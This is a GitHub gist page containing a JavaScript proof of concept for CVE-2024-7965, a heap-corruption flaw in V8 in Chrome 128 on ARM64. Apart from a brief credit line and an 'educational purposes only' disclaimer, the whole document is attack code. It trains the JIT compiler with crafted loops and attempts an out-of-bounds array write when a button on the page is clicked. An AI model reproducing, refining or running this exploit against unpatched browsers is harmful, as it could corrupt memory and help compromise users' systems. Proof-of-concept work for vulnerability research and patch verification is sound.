Skip to content

Instantly share code, notes, and snippets.

@ntfargo
Created September 18, 2024 21:10
Show Gist options
  • Save ntfargo/7a1f1c9be294d405060827828aa7c791 to your computer and use it in GitHub Desktop.
Save ntfargo/7a1f1c9be294d405060827828aa7c791 to your computer and use it in GitHub Desktop.
<script>
// CVE-2024-7965 Proof of Concept
// Vulnerability: Heap corruption in V8 (Google Chrome === 128.0.6613.84) "ARM64" Only
// Acknowledgments: Yuri Pazdnikov — Junior Vulnerability Researcher @ BI.ZONE
// This code is only used for educational purposes and should not be used for malicious purposes.
document.addEventListener('DOMContentLoaded', (event) => {
(function() {
const ARRAY_SIZE = 150;
const MOCK_ARRAY_SIZE = 10;
const OUT_OF_BOUNDS_ARRAY_SIZE = 5;
const HIGH_BYTE_SPRAY = 0x1;
const SPRAY_CONDITION = 7;
const LOOP_ITERATIONS = 10;
const NESTED_LOOP_ITERATIONS = 5;
// Initialize arrays
const largeArray = new Array(ARRAY_SIZE).fill(0);
largeArray[0] = 1.1;
const mockArray = new Uint32Array(MOCK_ARRAY_SIZE);
for (let i = 0; i < MOCK_ARRAY_SIZE; i++) {
mockArray[i] = i + 1;
}
function poc(i1) {
const outOfBoundsArray = new Array(OUT_OF_BOUNDS_ARRAY_SIZE);
outOfBoundsArray[0] = 0x500;
let x1 = mockArray[0];
let x2 = mockArray[7];
console.log(`Initial values: i1=${i1}, x1=${x1}, x2=${x2}`);
// Spray high bytes conditionally
if (i1 % SPRAY_CONDITION === 0) {
x2 = 0xff00000000;
}
x2 = Math.max(x2, HIGH_BYTE_SPRAY) >>> 0;
let controlIndex = mockArray[3];
let loopControlVar = mockArray[6];
let controlVar1 = mockArray[1];
console.log(`After setup: x2=${x2}, controlIndex=${controlIndex}, loopControlVar=${loopControlVar}, controlVar1=${controlVar1}`);
// Main loop to generate cyclic graph
for (let i = 0; i < LOOP_ITERATIONS; i++) {
if (i1 % 3 === 0) x1 = controlVar1;
if (i1 % 37 === 0) x1 = mockArray[2];
if (i1 % 11 === 0) x1 = mockArray[8];
if (i1 % 17 === 0) x1 = mockArray[5];
if (i1 % 19 === 0) x1 = mockArray[4];
// Modify control variables
if (i1 % SPRAY_CONDITION === 0 && i >= 5) {
loopControlVar = x1;
x1 = x2;
}
if (i >= 6) {
// Nested loop for additional complexity
for (let j = 0; j < NESTED_LOOP_ITERATIONS; j++) {
if (i1 % 5 === 0) {
controlIndex = loopControlVar;
outOfBoundsArray[controlIndex] = 0x500; // Potential out-of-bounds write
console.log(`Nested loop: i=${i}, j=${j}, controlIndex=${controlIndex}, outOfBoundsArray=${outOfBoundsArray}`);
}
}
}
loopControlVar = controlVar1;
controlVar1 = x1;
console.log(`Loop iteration ${i}: x1=${x1}, loopControlVar=${loopControlVar}, controlVar1=${controlVar1}`);
}
console.log(`Final values: controlIndex=${controlIndex}, x1=${x1}`);
return [controlIndex, BigInt(x1)];
}
const rpoc = document.getElementById('rpoc');
rpoc.addEventListener('click', () => {
for (let i = 2; i < 0x500; i++) {
poc(i);
}
poc(7 * 5);
});
})();
});
</script>
<button id="rpoc">Run PoC CVE-2024-7965</button>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment